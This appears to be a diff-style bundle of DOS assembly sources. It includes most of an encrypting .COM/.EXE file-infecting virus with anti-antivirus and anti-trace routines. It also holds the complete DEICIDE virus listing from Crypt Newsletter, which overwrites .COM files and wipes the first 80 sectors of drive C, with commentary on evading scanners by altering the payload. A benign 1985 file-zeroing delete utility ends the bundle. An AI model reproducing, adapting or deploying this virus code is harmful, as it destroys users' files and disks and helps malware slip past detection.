|
||||
jne pass_2
|
||||
cmp word ptr [di - 5],'RP'
|
||||
je av_prog
|
||||
pass_2:
|
||||
cmp word ptr [di - 3],'DN' ; COMMAND.COM
|
||||
jne pass_3 ; ("Bad or Missing," etc.)
|
||||
cmp word ptr [di - 5],'AM'
|
||||
je av_prog
|
||||
pass_3:
|
||||
cmp word ptr [di - 5],'SA' ; MS-DOS's QBASIC
|
||||
jne pass_4 ; ("Packed file is corrupt")
|
||||
cmp word ptr [di - 7],'BQ'
|
||||
je av_prog
|
||||
pass_4:
|
||||
clc ; passed the test
|
||||
jmp check_complete
|
||||
av_prog:
|
||||
stc ; ack! *GAG* *boo* *hiss*
|
||||
check_complete:
|
||||
pop di es cx ax
|
||||
ret
|
||||
|
||||
; this routine infects the file at DS:DX
|
||||
|
||||
infect_ds_dx:
|
||||
push ax bx cx dx si di ds es
|
||||
|
||||
in al,21h ; some anti-trace
|
||||
xor al,2
|
||||
out 21h,al
|
||||
|
||||
xor al,2
|
||||
out 21h,al
|
||||
|
||||
mov ax,3D00h ; read-only ... we'll change
|
||||
call int_21 ; it later, but it won't trip
|
||||
jnc hook_24 ; some AV monitors
|
||||
jmp cant_open
|
||||
|
||||
hook_24:
|
||||
xor bx,bx ; hook int 24h
|
||||
mov ds,bx ; prevent write protect errors
|
||||
mov ds:[24h * 4],offset new_int_24
|
||||
mov ds:[24h * 4 + 2],cs
|
||||
|
||||
xchg bx,ax ; get system file tables
|
||||
push bx
|
||||
mov ax,1220h
|
||||
int 2Fh
|
||||
nop ; anti-SCAN
|
||||
|
||||
mov bl,es:[di]
|
||||
mov ax,1216h
|
||||
int 2Fh
|
||||
pop bx
|
||||
|
||||
call check_datestamp ; if already infected,
|
||||
jae dont_infect ; don't do it again
|
||||
|
||||
mov word ptr es:[di + 2],2 ; change mode to R/W
|
||||
|
||||
push cs ; read in 28 bytes of
|
||||
pop ds ; our potential host ...
|
||||
|
||||
mov dx,offset read_buffer
|
||||
mov cx,28
|
||||
mov ah,3Fh ; (carefully avoiding
|
||||
call int_21 ; our stealth routine)
|
||||
|
||||
cmp word ptr read_buffer,'ZM'
|
||||
je infect_exe ; if .EXE, infect as one
|
||||
|
||||
mov exe_flag,0 ; infect as .COM
|
||||
|
||||
mov ax,es:[di + 11h] ; get file size
|
||||
|
||||
cmp ax,65279 - VIRUS_SIZE + 28
|
||||
ja dont_infect ; don't infect; too big
|
||||
|
||||
cmp ax,28
|
||||
jb dont_infect ; don't infect; too small
|
||||
|
||||
mov es:[di + 15h],ax ; move to end of file
|
||||
; (I just love the SFTs ...)
|
||||
call encrypt_and_write_virus ; encrypt the virus code
|
||||
; then write it to the file
|
||||
|
||||
mov dx,offset read_buffer ; store original
|
||||
mov cx,28 ; header
|
||||
mov ah,40h
|
||||
call int_21
|
||||
|
||||
mov word ptr es:[di + 15h],0 ; and lastly, back to
|
||||
; the beginning of the file
|
||||
mov dx,offset new_header ; to add the new header
|
||||
mov ah,40h
|
||||
mov cx,22 ; our header's only 22 bytesx
|
||||
call int_21
|
||||
|
||||
mov cx,es:[di + 0Dh] ; fix date/time
|
||||
mov dx,es:[di + 0Fh]
|
||||
ror dh,1
|
||||
add dh,100
|
||||
rol dh,1
|
||||
mov ax,5701h
|
||||
call int_21
|
||||
dont_infect:
|
||||
mov ah,3Eh ; and close the file
|
||||
call int_21
|
||||
cant_open:
|
||||
jmp infect_exit ; infection done; exit
|
||||
|
||||
infect_exe:
|
||||
cmp word ptr read_buffer[24],'@'
|
||||
jne not_windows
|
||||
jmp infect_exit ; Windows .EXE, don't infect
|
||||
not_windows:
|
||||
cmp word ptr read_buffer[26],0
|
||||
je not_overlay
|
||||
jmp infect_exit ; overlay .EXE, don't infect
|
||||
not_overlay:
|
||||
mov exe_flag,1 ; infect as .EXE
|
||||
|
||||
push es di ; move original header
|
||||
push cs ; into new header area
|
||||
pop es
|
||||
|
||||
mov si,offset read_buffer
|
||||
mov di,offset header_buffer
|
||||
mov cx,28
|
||||
rep movsb
|
||||
|
||||
pop di es
|
||||
|
||||
push es:[di + 11h] ; save file size on stack
|
||||
push es:[di + 13h]
|
||||
|
||||
push word ptr read_buffer[22] ; CS ...
|
||||
pop exe_cs
|
||||
add exe_cs,10h ; (adjust)
|
||||
push word ptr read_buffer[20] ; IP ...
|
||||
pop exe_ip
|
||||
|
||||
push word ptr read_buffer[14] ; SS ...
|
||||
pop exe_ss
|
||||
add exe_ss,10h ; (adjust)
|
||||
push word ptr read_buffer[16] ; and SP
|
||||
pop exe_sp
|
||||
|
||||
pop dx ax ; now we calculate new CS:IP
|
||||
push ax dx ; (save these for later)
|
||||
|
||||
push bx
|
||||
mov cl,12 ; calculate offsets for CS
|
||||
shl dx,cl ; and IP
|
||||
mov bx,ax
|
||||
mov cl,4
|
||||
shr bx,cl
|
||||
add dx,bx
|
||||
and ax,15
|
||||
pop bx
|
||||
|
||||
sub dx,word ptr read_buffer[8]
|
||||
mov word ptr read_buffer[22],dx
|
||||
mov word ptr read_buffer[20],ax
|
||||
|
||||
pop dx ax
|
||||
add ax,VIRUS_SIZE + 28
|
||||
adc dx,0
|
||||
push ax dx
|
||||
|
||||
mov cl,4 ; create a stack segment
|
||||
shr ax,cl
|
||||
add ax,200
|
||||
|
||||
cmp ax,word ptr read_buffer[14]
|
||||
jb no_new_stack ; if theirs is better, skip it
|
||||
|
||||
mov dx,-2 ; set SP to FFFE always
|
||||
mov word ptr read_buffer[14],ax
|
||||
mov word ptr read_buffer[16],dx
|
||||
no_new_stack:
|
||||
pop dx ax ; now calculate program size
|
||||
|
||||
mov cx,512 ; in pages
|
||||
div cx ; then save results
|
||||
inc ax
|
||||
mov word ptr read_buffer[2],dx
|
||||
mov word ptr read_buffer[4],ax
|
||||
|
||||
mov ax,4202h ; this is just easier
|
||||
cwd ; than using the SFTs
|
||||
xor cx,cx
|
||||
call int_21
|
||||
|
||||
mov ax,word ptr read_buffer[20] ; get code offset
|
||||
call encrypt_and_write_virus ; encrypt virus code
|
||||
; and write it to the file
|
||||
mov dx,offset header_buffer ; write original header
|
||||
mov cx,28 ; to file
|
||||
mov ah,40h
|
||||
call int_21
|
||||
|
||||
mov word ptr es:[di + 15h],0
|
||||
mov word ptr es:[di + 17h],0 ; back to beginning of file
|
||||
|
||||
mov dx,offset read_buffer ; and write new header to file
|
||||
mov ah,40h
|
||||
call int_21
|
||||
|
||||
mov cx,es:[di + 0Dh] ; fix date/time
|
||||
mov dx,es:[di + 0Fh]
|
||||
ror dh,1
|
||||
add dh,100
|
||||
rol dh,1
|
||||
mov ax,5701h
|
||||
call int_21
|
||||
|
||||
mov ah,3Eh ; close file
|
||||
call int_21
|
||||
|
||||
infect_exit:
|
||||
pop es ds di si dx cx bx ax ; done ... leave
|
||||
ret
|
||||
|
||||
encrypt_and_write_virus:
|
||||
push es di bx ax ; save code offset and SFT
|
||||
mov bx,ax
|
||||
|
||||
xor ah,ah ; get random number from
|
||||
int 1Ah ; system clock
|
||||
mov cipher,dl ; and use it for encryption
|
||||
|
||||
pop ax ; fix up offset
|
||||
|
||||
cmp exe_flag,0
|
||||
jne not_org_100h
|
||||
add ax,100h
|
||||
not_org_100h:
|
||||
add ax,(viral_code - virus_begin)
|
||||
mov ds:code_offset,ax
|
||||
|
||||
add ax,(virus_end - viral_code) - 1 ; second offset
|
||||
mov ds:code_offset_2,ax
|
||||
|
||||
mov si,offset virus_begin
|
||||
mov di,offset encrypt_buffer
|
||||
|
||||
push cs ; move decryption module
|
||||
pop es
|
||||
|
||||
mov cx,viral_code - virus_begin
|
||||
rep movsb
|
||||
|
||||
mov si,offset viral_code
|
||||
mov cx,virus_end - viral_code
|
||||
encrypt: ; now encrypt virus code
|
||||
lodsb ; with a simple encryption
|
||||
decryptor_2:
|
||||
xor al,dl ; key ...
|
||||
shift_2:
|
||||
neg dl
|
||||
stosb
|
||||
loop encrypt
|
||||
|
||||
cmp exe_flag,0 ; if .COM file,
|
||||
jne exe_infection
|
||||
mov ax,bx
|
||||
call create_header ; create unique header
|
||||
|
||||
exe_infection:
|
||||
pop bx di es ; restore SFT
|
||||
|
||||
mov ah,40h ; wrte virus code to file
|
||||
mov cx,VIRUS_SIZE
|
||||
mov dx,offset encrypt_buffer
|
||||
call int_21
|
||||
|
||||
ret
|
||||
|
||||
check_datestamp:
|
||||
mov ax,es:[di + 0Fh] ; a little routine to
|
||||
cmp ah,100 ; check timestamps
|
||||
ret
|
||||
|
||||
drop_program:
|
||||
lea dx,[bp + offset weirdo] ; this creates our
|
||||
push ds ; little signature
|
||||
push cs
|
||||
pop ds
|
||||
mov ah,3Ch
|
||||
mov cx,3
|
||||
int 21h
|
||||
jc no_drop
|
||||
|
||||
xchg ax,bx
|
||||
mov ah,40h
|
||||
mov cx,(drop_me_end - drop_me)
|
||||
lea dx,[bp + offset drop_me]
|
||||
int 21h
|
||||
|
||||
mov ah,3Eh
|
||||
int 21h
|
||||
|
||||
no_drop:
|
||||
pop ds
|
||||
ret
|
||||
|
||||
delete_program:
|
||||
mov ah,41h
|
||||
lea dx,[bp + offset weirdo]
|
||||
push ds
|
||||
push cs
|
||||
pop ds
|
||||
int 21h
|
||||
pop ds
|
||||
ret
|
||||
|
||||
create_header:
|
||||
push ax
|
||||
add ax,100h + (offset decrypt - offset virus_begin)
|
||||
mov ds:mov_1,ax ; header
|
||||
inc ax
|
||||
inc ax
|
||||
mov ds:mov_2,ax
|
||||
|
||||
xor ah,ah ; fill in useless MOVs
|
||||
int 1Ah ; with random bytes
|
||||
mov ds:mov_al,cl
|
||||
mov ds:mov_ax,dx
|
||||
|
||||
push dx ; modify header a little ...
|
||||
and cl,7 ; make things weirder ...
|
||||
add cl,0B0h
|
||||
mov ds:mov_reg,cl
|
||||
and dl,3
|
||||
add dl,0B8h
|
||||
mov ds:mov_regx,dl
|
||||
pop dx
|
||||
|
||||
push cs
|
||||
pop es
|
||||
mov di,offset encrypt_buffer
|
||||
add di,offset decrypt - offset virus_begin
|
||||
mov ax,dx ; now fill decryption module
|
||||
neg ax ; with some garbage
|
||||
stosw
|
||||
rol ax,1
|
||||
stosw
|
||||
|
||||
pop ax
|
||||
sub ax,20 ; fix up JMP instruction
|
||||
mov ds:new_jump,ax
|
||||
|
||||
ret ; done
|
||||
|
||||
new_header db 0C7h,06
|
||||
mov_1 dw 00
|
||||
db 2Eh
|
||||
decryptor_3 db 30h ; first MOV
|
||||
mov_reg db 0B0h
|
||||
mov_al db 00 ; a nothing MOV bytereg,
|
||||
db 0C7h,06
|
||||
mov_2 dw 00
|
||||
db 07,043h ; second MOV
|
||||
mov_regx db 0B8h
|
||||
mov_ax dw 00 ; a nothing MOV wordreg,
|
||||
db 0E9h ; jump instruction
|
||||
new_jump dw 0 ; virus offset
|
||||
|
||||
exe_flag db 0
|
||||
|
||||
exe_cs dw 0 ; EXE code/stack settings
|
||||
exe_ip dw 0
|
||||
exe_ss dw 0
|
||||
exe_sp dw 0
|
||||
|
||||
drop_me:
|
||||
mov ah,9 ; this program is dropped
|
||||
mov dx,109h ; at random times within
|
||||
int 21h ; the root directory as
|
||||
int 20h ; \DEI.COM
|
||||
|
||||
sig db 'Devils & Evangels, Inc. '
|
||||
db '[DEI] MnemoniX $',0
|
||||
drop_me_end:
|
||||
db 'v2.00'
|
||||
|
||||
weirdo db '\DEI.COM',0
|
||||
|
||||
virus_end:
|
||||
host:
|
||||
mov ah,4Ch ; fake host program
|
||||
int 21h
|
||||
|
||||
VIRUS_SIZE equ virus_end - virus_begin
|
||||
|
||||
read_buffer db 28 dup (?)
|
||||
header_buffer db 28 dup (?)
|
||||
encrypt_buffer db VIRUS_SIZE dup (?)
|
||||
end_heap:
|
||||
|
||||
MEM_SIZE equ end_heap - start
|
||||
|
||||
code ends
|
||||
end start
|
||||
@@ -0,0 +1,218 @@
|
||||
;***************************************************************************
|
||||
; Source code of the DEICIDE Virus, original author: Glen Benton
|
||||
; Assemble with A86 - Sanitized, English-ized and spruced up for inclusion
|
||||
; in Crypt Newsletter #7. The Crypt reader will also notice the
|
||||
; DEICIDE listing has NO declarative red tape - no org's, no assume
|
||||
; cs,ds,es stuff, no start/ends pairs or proc labels. For the average
|
||||
; reader, this means TASM and MASM will choke if you try to get them to
|
||||
; assemble this as is. A86 doesn't need it, as Isaacson is fond of saying,
|
||||
; and this listing can be assembled directly to a .COMfile
|
||||
; without the need of a linker.
|
||||
;
|
||||
; DEICIDE virus is a kamikaze overwriting .COM infector, with a length
|
||||
; of 666 bytes in its original state. With A86, you get 665 bytes, which, we
|
||||
; assume ruins, the 'aesthetics' of things just a bit. (Try adding a NOP
|
||||
; to the listing if this bugs you too much.) Anyway, on call DEICIDE
|
||||
; jumps right to the root directory where it looks for a any .COM file
|
||||
; except COMMAND.COM to infect.
|
||||
;
|
||||
; If all files are infected, and DEICIDE is not on the C drive it attempts to
|
||||
; ruin it anyway. If all files in the root on C are infected, the fixed disk
|
||||
; is destroyed, a message displayed and the computer hung.
|
||||
; If a program is successfully overwritten, DEICIDE exits to DOS
|
||||
; after displaying 'File corruption error.' If DEICIDE is trapped on
|
||||
; a diskette that is write-protected, it will generate noxious 'Abort,
|
||||
; Retry, Ignore, Fail' messages.
|
||||
;
|
||||
; You can work with DEICIDE quite easily by commenting out the destructive
|
||||
; sequence and reassembling. Then it will merely mess up .COM's in
|
||||
; your root directory. If you forget that you're using NDOS or 4DOS, DEICIDE
|
||||
; will promptly foul your command processor and the operating system
|
||||
; won't load properly when you reboot. In an interesting side note,
|
||||
; removing the destructive payload of DEICIDE causes SCAN to lose sight of
|
||||
; DEICIDE. (There's a simple poor man's method to a 'new' strain. Fool
|
||||
; your friends who think you've written a virus from scratch.)
|
||||
; The DEBUG script of DEICIDE has the destructive payload "rearranged" and
|
||||
; is not, strictly speaking, identical to this listing. This has made
|
||||
; that copy of DEICIDE (referred to in the scriptfile as DEICIDE2)
|
||||
; functionally similar to the original, but
|
||||
; still invisible to SCAN v85b and a number of other commercial products.
|
||||
; The lesson to be learned here is that software developers shouldn't choose
|
||||
; generic disk overwriting payloads as signatures for their scanners.
|
||||
;
|
||||
; I must confess I'm fascinated by the mind that went into creating DEICIDE.
|
||||
; Even in 1990, the DEICIDE was more of a 'hard disk bomb' than a virus.
|
||||
; Think a moment. How many files are in your root directory? How long before
|
||||
; this sucker activated and spoiled your afternoon? Once? Twice? In
|
||||
; any case, it still is an easily understood piece of code, enjoying its
|
||||
; own unique charm. Enjoy looking at DEICIDE. Your virus pal, URNST KOUCH.
|
||||
;***************************************************************************
|
||||
|
||||
Start_Prog: jmp short Start_Virus
|
||||
nop
|
||||
|
||||
Message db 0Dh,0Ah,'DEICIDE!'
|
||||
db 0Dh,0Ah
|
||||
db 0Dh,0Ah,'Glenn (666) says : BYE BYE HARDDISK!!'
|
||||
db 0Dh,0Ah
|
||||
db 0Dh,0Ah,'Next time be carufull with illegal stuff......$'
|
||||
|
||||
Start_Virus: mov ah,19h ; Get actual drive
|
||||
int 21h
|
||||
|
||||
db 0A2h ; Mov [EA],al
|
||||
dw offset Infect_Drive
|
||||
db 0A2h ; A86 assembles this differently
|
||||
dw offset Actual_Drive ; so put the original code here
|
||||
|
||||
mov ah,47h ; Get actual directory
|
||||
mov dl,0
|
||||
mov si,offset Actual_Dir
|
||||
int 21h
|
||||
|
||||
mov ah,1Ah ; stash DTA in safe place
|
||||
mov dx,offset New_DTA
|
||||
int 21h
|
||||
|
||||
Infect_Next: mov ah,3Bh ; DOS chdir function, go to root dir
|
||||
mov dx,offset Root_Dir
|
||||
int 21h
|
||||
|
||||
mov ah,4Eh ; Search first .COM file
|
||||
mov cx,0
|
||||
mov dx,offset Search_Path ; using file mask
|
||||
int 21h
|
||||
|
||||
Check_Command: mov al,'D' ; Check if 7th char is a 'D' (To prevent
|
||||
cmp [New_DTA+24h],al ; infecting COMMAND.COM, causing
|
||||
jnz Check_Infect ; noticeable boot failure)
|
||||
jmp short Search_Next
|
||||
nop
|
||||
|
||||
Check_Infect: mov ah,3Dh ; Open found file with write access
|
||||
mov al,2
|
||||
mov dx,offset New_DTA+1Eh
|
||||
int 21h
|
||||
mov File_Handle,ax ; Save handle
|
||||
mov bx,ax
|
||||
|
||||
mov ah,57h ; Get date/time of file
|
||||
mov al,0 ; why, for Heaven's sake?
|
||||
int 21h
|
||||
mov File_Date,dx
|
||||
mov File_Time,cx
|
||||
|
||||
call Go_Beg_File ; Go to beginning of file
|
||||
|
||||
mov ah,3Fh ; Read first 2 bytes
|
||||
mov cx,2
|
||||
mov dx,offset Read_Buf ; into a comparison buffer
|
||||
int 21h
|
||||
|
||||
mov al,byte ptr [Read_Buf+1] ; now, take a look at the
|
||||
cmp al,offset Start_Virus-102h ; buffer and the start of
|
||||
jnz Infect ; DEICIDE. Is it the
|
||||
; jump? If not, infect file
|
||||
mov ah,3Eh ; Already infected, so close file
|
||||
int 21h
|
||||
|
||||
Search_Next: mov ah,4Fh ; Search next file function
|
||||
int 21h
|
||||
jnc Check_Command ; No error - try this file
|
||||
|
||||
mov al,Infect_Drive ; Skip to next drive,
|
||||
cmp al,0
|
||||
jnz No_A_Drive
|
||||
inc al
|
||||
No_A_Drive: inc al
|
||||
cmp al,3 ; Is the drive C:?
|
||||
jnz No_Destroy ;
|
||||
; if it is and haven't been
|
||||
; able to infect
|
||||
mov al,2 ; Overwrite first 80 sectors,
|
||||
mov bx,0 ; BUMMER!
|
||||
mov cx,50h ; BUMMER!
|
||||
mov dx,0 ; BUMMER!
|
||||
int 26h ; BUMMER!
|
||||
|
||||
mov ah,9 ; Show silly message
|
||||
mov dx,offset Message
|
||||
int 21h
|
||||
|
||||
|
||||
Lock_System: jmp short Lock_System ; lock up the system so the poor fool
|
||||
; has to start reloading right away
|
||||
No_Destroy: mov dl,al ; New actual drive
|
||||
mov ah,0Eh
|
||||
mov Infect_Drive,dl ; Save drive number.
|
||||
int 21h
|
||||
|
||||
jmp Infect_Next
|
||||
|
||||
Infect: call Go_Beg_File ;call seek routine
|
||||
|
||||
mov ah,40h ; Write DEICIDE to the file
|
||||
mov cx,offset End_Virus-100h ;right over the top, starting
|
||||
mov dx,100h ; at the beginning, thus messing
|
||||
int 21h ; up everything
|
||||
|
||||
mov ah,57h ; Restore date/time of file
|
||||
mov al,1 ; why, for God's sake? You
|
||||
mov cx,File_Time ; think no one will notice
|
||||
mov dx,File_Date ; file is destroyed?
|
||||
int 21h
|
||||
|
||||
mov ah,3Eh ; Close file, let's be neat
|
||||
int 21h
|
||||
|
||||
mov dl,byte ptr [Actual_Drive] ; Back to original drive
|
||||
mov ah,0Eh
|
||||
int 21h
|
||||
|
||||
mov ah,3Bh ; And original dir
|
||||
mov dx,offset Actual_Dir
|
||||
int 21h
|
||||
|
||||
mov ah,9 ; Show 'File corruption error.'
|
||||
mov dx,offset Quit_Message ; when destroyed, infected
|
||||
int 21h ; program misfires and DEICIDE
|
||||
; executes so user may be placated
|
||||
int 20h ; Exit back to DOS
|
||||
|
||||
Go_Beg_File: mov ah,42h ; Procedure: seek to start of file
|
||||
mov al,0
|
||||
mov cx,0
|
||||
mov dx,0
|
||||
int 21h
|
||||
ret
|
||||
|
||||
|
||||
File_Date dw (?)
|
||||
File_Time dw (?)
|
||||
|
||||
File_Handle dw (?)
|
||||
|
||||
Infect_Drive db (?)
|
||||
|
||||
Root_Dir db '\',0
|
||||
|
||||
Search_Path db '*.COM',0
|
||||
|
||||
Read_Buf db 2 dup (?)
|
||||
|
||||
Actual_Drive db (?)
|
||||
|
||||
|
||||
Quit_Message db 'File corruption error.',0Dh,0Ah,'$'
|
||||
|
||||
New_DTA db 2Bh dup (?)
|
||||
|
||||
Actual_Dir db 40h dup (?)
|
||||
|
||||
db 'This experimental virus was written by Glenn Benton to '
|
||||
db 'see if I can make a virus while learning machinecode for '
|
||||
db '2,5 months. (C) 10-23-1990 by Glenn. I keep on going '
|
||||
db 'making virusses.'
|
||||
|
||||
End_Virus:
|
||||
|
||||
@@ -0,0 +1,327 @@
|
||||
INTERRUPTS SEGMENT AT 0H
|
||||
ORG 9H*4 ;holds the address of its service routine
|
||||
KEYBOARD_INT LABEL DWORD
|
||||
ORG 21H*4 ;This is to use INT 21H
|
||||
INT_21H LABEL DWORD ;which is the DOS function call interrupt
|
||||
INTERRUPTS ENDS
|
||||
|
||||
ROM_BIOS_DATA SEGMENT AT 40H ;BIOS statuses held here, also keyboard buffer
|
||||
|
||||
ORG 1AH
|
||||
HEAD DW ? ;Unread chars go from Head to Tail
|
||||
TAIL DW ?
|
||||
BUFFER DW 16 DUP (?) ;The buffer itself
|
||||
BUFFER_END LABEL WORD
|
||||
|
||||
ROM_BIOS_DATA ENDS
|
||||
|
||||
CODE_SEG SEGMENT
|
||||
ASSUME CS:CODE_SEG
|
||||
ORG 100H ;ORG = 100H to make this into a
|
||||
;".com" file
|
||||
FIRST: JMP LOAD_INT_21H
|
||||
|
||||
COPY_RIGHT DB '(C)1985 S Holzner'
|
||||
BYPASS_FLAG DB 0 ;Bypass our checking for #? 1=Yes
|
||||
ZERO_FLAG DB 0 ;Was there a zero in filename? 1=Yes
|
||||
CR_FLAG DB 0
|
||||
DTA DD ? ;The old disk transfer area address
|
||||
OLD_INT_21H DD ? ;Address INT 21H uses normally
|
||||
OLD_KEYBOARD_INT DD ? ;Location of old kbd interrupt
|
||||
COUNT DW ?
|
||||
FCB_OFFSET DW ? ;Offset of given filename to be deleted
|
||||
FCB_SEG DW 0 ;Segment address of the same.
|
||||
COMMAND_INDEX DW 0
|
||||
DEL_Z DB 'DEL/Z',0
|
||||
CRLF DB 13,10,'$' ;Carriage return, linefeed for messages
|
||||
MSG DB ' ZEROED AND DELETED.',13,10,'$' ;The message
|
||||
ERR DB 'Error deleting $' ;Error message
|
||||
|
||||
DELZ PROC FAR ;The function call interrupt will now come here.
|
||||
|
||||
PUSHF ;Save flags first (will get changed by CMPs)
|
||||
CMP AH,13H ;Are we deleting?
|
||||
JNE JUMP ;No, jump to function call Int and do not return
|
||||
CMP ZERO_FLAG,1 ;Are we supposed to zero?
|
||||
JNE JUMP ;If not, don't
|
||||
TEST BYPASS_FLAG,1 ;We are deleting. Is bypass on?
|
||||
JZ DEL_CHECK ;No, check if we should delete file.
|
||||
JUMP: POPF ;Restore flags
|
||||
JMP OLD_INT_21H ;Jump to function call Int. (CALL won't work).
|
||||
DEL_CHECK: ;DS:DX are pointing to filename to be deleted (from delete call)
|
||||
PUSH BX ;Save all used registers to be polite
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
PUSH AX ;Save AX last since will pop first and return status in it
|
||||
|
||||
MOV FCB_OFFSET,DX ;Save address of the file-to-be-deleted's FCB
|
||||
MOV FCB_SEG,DS ;Ditto for the segment address
|
||||
|
||||
MOV AH,2FH ;Now get Disk Transfer Area (DTA) address
|
||||
INT 21H ;This will work since AH is not equal to 13H
|
||||
|
||||
MOV DTA,BX ;Store DTA address Low part
|
||||
MOV DTA[2],ES ;Ditto High part
|
||||
PUSH DS ;Save file-to-be-deleted's FCB's Segment address
|
||||
MOV AH,1AH ;Put the new DTA in our Program Segment Prefix,
|
||||
MOV DX,80H ; CS:0080H (CS came from INT 21H vector we set)
|
||||
PUSH CS ;Now move DS into CS to set DTA
|
||||
POP DS
|
||||
INT 21H ;Set Disk Transfer Area (DTA)
|
||||
POP DS ;Restore Segment address of given file's FCB
|
||||
|
||||
MOV DX,FCB_OFFSET ;Restore the given file's FCB's address low part
|
||||
MOV AH,11H ;Ask for DOS service 11H, which asks for the
|
||||
INT 21H ; first match to the given file's FCB
|
||||
|
||||
TEST AL,1 ;Was a match found?
|
||||
JZ TOP ;Yes, start checking if we should delete.
|
||||
POP AX ;No, return status 0FF (not found) in AL
|
||||
MOV AL,0FFH
|
||||
JMP NONE_FOUND ;Over and out.
|
||||
TOP:
|
||||
MOV SI,81H ;the matching file's FCB is in DTA from search
|
||||
MOV DI,0C0H ;We will move the name to print and scan for #
|
||||
MOV CX,0BH ;11 characters per file
|
||||
PUSH DS ;Get ready for string move, set up DS and ES
|
||||
PUSH CS ;Set them both to CS (use program segment
|
||||
POP DS ; prefix area)
|
||||
MOV DX,80H ;Point to match to open file
|
||||
MOV AH,0FH ;Select the correct DOS call
|
||||
INT 21H
|
||||
CMP AL,0 ;If error opening file, exit
|
||||
JNE ERROR
|
||||
MOV BX,80H ;Set record size to 512
|
||||
MOV WORD PTR [BX+14],512
|
||||
MOV AX,[BX+16] ;Find the file's size in sectors
|
||||
XOR DX,DX
|
||||
TEST AX,511 ;Do we have to add an add'l sector?
|
||||
JZ SHIF ;No, do the shift
|
||||
INC DX ;Yes, add 1
|
||||
SHIF: MOV CL,9 ;Divide by 512
|
||||
SHR AX,CL
|
||||
MOV COUNT,AX ;Store in Count
|
||||
ADD COUNT,DX ;And add possible add'l sector
|
||||
MOV AX,[BX+18] ;Now for the high part of size
|
||||
MOV CL,7 ;Mult by 65536 div by 512
|
||||
SHL AX,CL
|
||||
ADD COUNT,AX ;And add to what we already have
|
||||
MOV DX,80H ;Now prepare for sequential write
|
||||
MOV CX,COUNT ;Do COUNT sectors
|
||||
MOV AH,15H
|
||||
FILL: INT 21H ;Fill with copies of this prog.
|
||||
CMP AL,0 ;Error writing?
|
||||
JNE ERROR ;Yes, jump to ERROR
|
||||
LOOP FILL ;No, go back for next one
|
||||
MOV AH,10H ;Close the file now.
|
||||
INT 21H
|
||||
CMP AL,0 ;Error closing?
|
||||
JNE ERROR ;Yep, go to ERROR
|
||||
MOV AH,13H ;No, delete the file at last (Whew)
|
||||
MOV BYPASS_FLAG,1 ;Don't intercept this call
|
||||
INT 21H
|
||||
MOV BYPASS_FLAG,0
|
||||
CMP AL,0 ;Everything OK?
|
||||
JNE ERROR ;No, go to ERROR
|
||||
CALL PRINT_NAME ;Yes, print the name
|
||||
LEA DX,MSG ;And the zeroed message
|
||||
MOV AH,9
|
||||
INT 21H
|
||||
JMP SAVE
|
||||
ERROR: MOV AH,10H ;First make sure file is closed
|
||||
INT 21H
|
||||
LEA DX,ERR ;Then print error message and go on
|
||||
MOV AH,9 ; to next file
|
||||
INT 21H
|
||||
CALL PRINT_NAME
|
||||
SAVE: POP DS ;Get segment of original given file's FCB
|
||||
MOV DX,FCB_OFFSET ;Search for next match -- point to original FCB
|
||||
MOV AH,12H ;Search for next match
|
||||
INT 21H
|
||||
TEST AL,1 ;Was a match found?
|
||||
JNZ OUT
|
||||
JMP TOP
|
||||
|
||||
OUT: POP AX ;At least one file deleted, set AL acordingly,
|
||||
MOV AL,0 ; which means set it to 0
|
||||
NONE_FOUND:
|
||||
PUSH DS ;Now we have to reset the Disk Transfer Area
|
||||
PUSH AX ;Save AX since it contains success status
|
||||
MOV AH,1AH ;Function call 1AH will do want we want
|
||||
MOV DX,DTA[2] ;Get original DTA's segment into DS
|
||||
MOV DS,DX
|
||||
MOV DX,DTA ;Now get offset inside that segment of same
|
||||
INT 21H ;And reset DTA
|
||||
POP AX ;Restore AX with status
|
||||
POP DS ;And DS with original DS
|
||||
|
||||
POP DI ;And restore the other registers
|
||||
POP SI
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POPF ;We musn't forget our original PUSHF
|
||||
IRET ;An interrupt deserves an IRET
|
||||
|
||||
DELZ ENDP ;And that's it
|
||||
|
||||
PRINT_NAME PROC NEAR ;This small subroutine just prints
|
||||
MOV BX,80H+1 ; file's name from the FCB
|
||||
MOV AH,2 ;Use DOS service 2
|
||||
MOV CX,11 ;Print all 11 letters
|
||||
PRINT: MOV DL,[BX] ;Printing loop
|
||||
INT 21H
|
||||
INC BX ;Get next letter
|
||||
LOOP PRINT
|
||||
RET ;And return
|
||||
PRINT_NAME ENDP
|
||||
|
||||
READ_KEY PROC NEAR ;The keyboard interrupt will now come here.
|
||||
ASSUME CS:CODE_SEG
|
||||
PUSH AX ;Save the used registers for good form
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH DI
|
||||
PUSH SI
|
||||
PUSH DS
|
||||
PUSHF ;First, call old keyboard interrupt
|
||||
CALL OLD_KEYBOARD_INT
|
||||
|
||||
ASSUME DS:ROM_BIOS_DATA ;Examine the char just put in
|
||||
MOV BX,ROM_BIOS_DATA
|
||||
MOV DS,BX
|
||||
MOV BX,TAIL ;Point to current tail
|
||||
CMP BX,HEAD ;If at head, kbd int has deleted char
|
||||
JNE CR ;So leave
|
||||
JMP NOCR
|
||||
CR: SUB BX,2 ;Point to just read in character
|
||||
CMP BX,OFFSET BUFFER ;Did we undershoot buffer?
|
||||
JAE NO_WRAP ;Nope
|
||||
MOV BX,OFFSET BUFFER_END ;Yes -- move to buffer top
|
||||
SUB BX,2
|
||||
NO_WRAP:MOV DX,[BX] ;Char in DX now
|
||||
|
||||
CMP DL,'Z' ;Make sure we are in upper case
|
||||
JBE CHAROK
|
||||
SUB DL,'a'-'A' ;Make REALLY sure.
|
||||
CHAROK: PUSH CS
|
||||
POP DS ;Point to Code Seg with DS
|
||||
ASSUME DS:CODE_SEG
|
||||
CMP CR_FLAG,1 ;CR_Flag resets Zero_Flag
|
||||
JNE CHECK
|
||||
MOV CR_FLAG,0 ;Reset CR_Flag
|
||||
MOV ZERO_FLAG,0 ;And Zero_Flag
|
||||
MOV COMMAND_INDEX,0 ;As well as Command_Index
|
||||
CHECK: LEA SI,DEL_Z ;Check the typed character
|
||||
ADD SI,COMMAND_INDEX ;Find place in test string
|
||||
CMP DL,[SI] ;Match?
|
||||
JNE NOSET ;If not, forget it
|
||||
INC COMMAND_INDEX ;Match! Move to next char next time
|
||||
|
||||
CMP DL,'/' ;For DOS 3+, delete the /Z from buffer
|
||||
